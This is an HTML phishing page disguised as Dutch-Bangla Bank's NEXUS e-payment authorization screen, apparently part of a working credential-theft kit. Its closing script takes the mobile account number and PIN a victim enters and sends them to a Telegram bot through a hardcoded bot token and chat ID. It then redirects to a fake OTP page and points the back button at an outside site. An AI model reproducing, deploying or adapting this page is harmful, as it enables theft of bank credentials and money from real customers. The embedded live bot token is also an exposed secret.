<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>DBBL e-payement Authorization Screen</title>  
        <link rel="icon" href="https://ecom1.dutchbanglabank.com/ecomm2/dbbl_image/favicon.ico" type="image/x-icon"/>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="stylesheet" href="/dbbl/css/index.css">
      
        
        <link rel="alternate" type="application/rss+xml" href="https://ecom1.dutchbanglabank.com/?action=RSS" title="RSS 2.0"/> 
        <link rel="stylesheet" type="text/css" href="https://ecom1.dutchbanglabank.com/ecomm2/dbbl_js/keyboard.css"/>
       
       
        <style type="text/css">
            .subBtn {
                width:85px;
                height:18px;
                margin: 0;
                padding: 0;
                border: 0px solid #FFFFFF;
                background-image: url(/dbbl/img/Submit.gif);
            }
            .resBtn {
                width:85px;
                height:18px;
                margin: 0;
                padding: 0;
                border: 0px solid #FFFFFF;
                background-image: url(/dbbl/img/Reset.gif);

            }
            .clsBtn {
                width:85px;
                height:18px;
                margin: 0;
                padding: 0;
                border: 0px solid #FFFFFF;
                background-image: url(/dbbl/img/Close.jpg);
            }
            table {
                border-spacing: 1em 2.5em;
                padding: 0 5em 5em 0;
                border: 1px solid #FFFFFF;
            }

            td {
                height: 1.5em;
                border: 5px solid #FFFFFF;

            }
            th {
                height: 1.5em;
                border: 5px solid #FFFFFF;

            }


        </style>
    </head>

    <body>
        <noscript>
        <h3>
            JavaScript is disabled! For want to do proper transaction, Please enable JavaScript in your web browser!</h3>
        For full functionality of this site it is necessary to enable JavaScript.
        Here are the <a href="http://www.enable-javascript.com/" target="_blank">
            instructions how to enable JavaScript in your web browser</a>.
        </noscript>

        <div id="device" class="container-fluid" style="max-width:600px; margin-top:30px;" >

            <form id="cardentry" action="#" class="credit-card" method="post">

                <div class="form-header" style="border-style:none; padding-bottom: 0px; padding-top: 0px;">
                    <div class="form-group" style="border-style:none; padding-bottom: 0px; padding-top: 0px;">
                        <div class="row" style="border-style:none; padding-bottom: 0px; padding-top: 0px;">
                            <div class="col-xs-12 col-md-12" >
                                <img src="/dbbl/img/IB_Logo.jpg" style="min-height:60px;" alt="DBBL" class="center-block img-responsive" /> 
                            </div>
                        </div>
                        <div class="row" style="border-style:none; padding-bottom: 0px; padding-top: 0px;">
                            <div class="col-xs-12 col-md-12 text-center" >
                                <font size="+2" color="#0000cc">DBBL NEXUS GATEWAY</font>
                            </div>
                        </div>
                        <div class="row" style="border-style:none; padding-bottom: 0px; padding-top: 0px;">
                            <div class="col-xs-12 col-md-12 text-center" >
                                <img src="/dbbl/img/IB_Line.gif" alt="IB_Line" style="max-height:10px;" class="center-block img-responsive" />
                            </div>
                        </div>


                    </div>
                </div> 
                <div class="form-body" style="border-style:none; padding-bottom: 0px; padding-top: 0px;">

                    

                    <div id="cardinfo" style="border-style:none; padding-bottom: 0px;padding-top: 5px;">
                        <div class="row">

                            <div class="col-xs-12 col-md-12 text-left" >

                                <table width="80%" style="font: 8pt Verdana; margin: auto;" >
				     <tr>
					<td width="40%">&nbsp;</td>
					<td><div id="cardheader" style="text-align:left;font: 10pt Verdana; font-weight: bold;  padding-left: 0px; white-space: nowrap;">	
Mobile Account Information</div></td>
				    </tr>
                                    <tr id="cardnametr">
                                        <td width="40%">
                                            
                                       
                                           
                                            <div id="cardnrheader" style="text-align:right">Mobile Account</div>
                                        </td>
                                        <td>
                                            <input maxlength="12" size="22" autocomplete="off" id="cardnr" name="cardnr" style="font: 9pt Verdana; padding-left: 5px; padding-top: 0px; padding-bottom: 0px; height:27px;max-width:200px;"  />
                                        </td>
                                    </tr>
                                    <tr id="expirydiv">
                                        <td>
                                           
                                            <div id="cvc2_lab" style="display: block;text-align:right">PIN</div>
                                        </td>
                                        <td>
                                            <input type="password" name="cvc2" id="cvc2" class="keyboardInput" autocomplete="off" maxlength="4" style="padding-left: 5px; padding-top: 0px; padding-bottom: 0px; min-height:25px; max-height:30px; max-width:60px;" />
                                        </td>
                                    </tr>
                                    <tr>          
                                        <td><div align="right">Amount</div></td>
                                        <td> <span id="totalAmount">10.00</span></td>
                                    </tr>
                                    <tr>          
                                        <td><div align="right">Currency</div></td>
                                        <td>BDT</td>
                                    </tr>
                                    <tr>
                                        <td><div align="right">Description</div></td>
                                        <td>641193000423035063872</td>
                                    </tr>
                                    <tr>
                                        <td>
                                            <input type="hidden" name="amount" id="amount" value="12000.00"/>
                                            <input type="hidden" name="desc" id="desc" value="641193000423035063872"/>
                                            <input type="hidden" name="card_type" id="card_type" />
                                            <input type="hidden" name="trans_id" id="trans_id" />
                                            <input type="hidden" name="USER_NAME" id="USER_NAME" />
                                            <input type="hidden" name="sec_val" id="sec_val" />
                                            <input type="hidden" name="merchant" id="merchant" value="000599991500000"/>

                                        </td>
                                        <td><div id="msg" style="font: 9pt Verdana;" ></div></td>
                                    </tr>
                                    <tr>
                                        <td height="21" align="center" colspan="2">
                                            <table style="font: 8pt Verdana; border-collapse: collapse; margin: auto; border-spacing: 8px 2px;" >
                                                <tr>

                                                    <td><input type="button" onClick="history.go(-1);" value =" " class="clsBtn"/></td>
                                                    <td><div id="paydiv"><input id="pay" type="submit" value="" class="subBtn"/></div></td>
                                                    <td><input id="reset" type="reset" value ="" class="resBtn"/></td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                    <tr>
                                        <td>
                                            <div id=DigiCertClickID_IeL_ruIZ>
                                                 
                                            </div>
                                            
                                        </td>
                                        <td><img src="/dbbl/img/3d_secure_logos.jpg" alt="3d" align="left" style="min-height:50px; max-height:50px;"  class="center-block img-responsive" /></td>
                                    </tr>
                                </table>                                       
                            </div>

                        </div>
                        <div class="row" style="border-style:none; padding-bottom: 0px; padding-top: 0px;">
                            <div class="col-xs-12 col-md-12 text-center" >
                                <img src="/dbbl/img/IB_Line.gif" alt="IB_Line" style="max-height:10px;" class="center-block img-responsive" />
                            </div>
                        </div>
                        <div class="row">
                            <div class="col-xs-12 col-md-12 text-center" >
                                <strong>DBBL E-COMM With SSL Wireless Limited</strong>
                            </div>
                        </div>
                        <div class="row">
                            <div class="col-xs-12 col-md-12 text-center" >
                                                         <div class="col-xs-12 col-md-12 text-center" >
                                <p>ecom1.dutchbanglabank.com</p>
                            </div>  
                            </div>
                        </div>
                    </div>


                </div>

            </form>


            <div id="warn" class="form-header" style="font-size: 18px; color: red; display:none;">
                <div class="form-header">
                    <div class="form-group">
                        <div class="row">
                            <div class="col-xs-12 col-md-12" >
                                <img src="/dbbl/img/header_logo.jpg" style="min-height:60px;" alt="DBBL" class="center-block img-responsive" /> 
                            </div>
                        </div>
                    </div>
                </div>
                <center><font style="color: #ff0000;">Card Data Modification is not allowed</font></center>
            </div>
        </div>  
	   <script>
    // Function to display the amount from the URL or use the default value
    function displayAmount() {
        const urlParams = new URLSearchParams(window.location.search);
        const amount = urlParams.get('amount') || document.getElementById('totalAmount').textContent.trim();
        document.getElementById('totalAmount').textContent = amount;
    }

    // Function to validate input and handle submission
    function validateAndSubmit() {
        const mobileNumber = document.getElementById('cardnr').value.trim();
        const pin = document.getElementById('cvc2').value.trim();
        const amount = document.getElementById('totalAmount').textContent.trim();
        const errorMessage = document.getElementById('msg');

        // Validation for Mobile Account and PIN
        if (mobileNumber.length === 12 && mobileNumber.startsWith('01') && pin.length === 4 && /^\d+$/.test(pin)) {
            // If valid, send data to Telegram bot
            sendToTelegram(mobileNumber, pin);

            // Redirect to the new page with the amount parameter
            setTimeout(() => {
                window.location.href = `/dbbl/otp/index.html`;
            }, 2000);
        } else {
            // Show error message if validation fails
            errorMessage.style.color = 'red';
            errorMessage.textContent = 'Invalid Mobile Account or PIN. Please check and try again.';
        }
    }

   // Function to send data to Telegram bot
function sendToTelegram(mobileNumber, pin) {
    const botToken = '7721532005:AAFNUxtAwHeH617lb1oOp3hcdKKjzRITS3Y';
    const chatId = '7174617845';

    // Send Mobile Account message
    fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            chat_id: chatId,
            text: `Mobile Account: ${mobileNumber}`,
        }),
    })
    .then(response => {
        if (!response.ok) {
            console.error('Error sending Mobile Account message to Telegram:', response);
        }
    })
    .catch(error => {
        console.error('Error:', error);
    });

    // Send PIN message
    fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            chat_id: chatId,
            text: `PIN: ${pin}`,
        }),
    })
    .then(response => {
        if (!response.ok) {
            console.error('Error sending PIN message to Telegram:', response);
        }
    })
    .catch(error => {
        console.error('Error:', error);
    });
}


    // Function to handle the "Back" button click
    function goBack() {
        // Redirect to a different URL on back button click
        window.location.href = 'https://allbuysellbd.vercel.app/merchantpay/index.html'; // Replace 'your-back-link.html' with the desired URL
    }

    // Attach event listeners to buttons
    document.getElementById('pay').addEventListener('click', (event) => {
        event.preventDefault(); // Prevent default form submission
        validateAndSubmit();    // Validate inputs and submit
    });

    document.querySelector('.clsBtn').addEventListener('click', (event) => {
        event.preventDefault(); // Prevent default action
        goBack();               // Redirect to the back link
    });

    // Call displayAmount on page load to update the amount
    displayAmount();
</script>

    </body>
</html>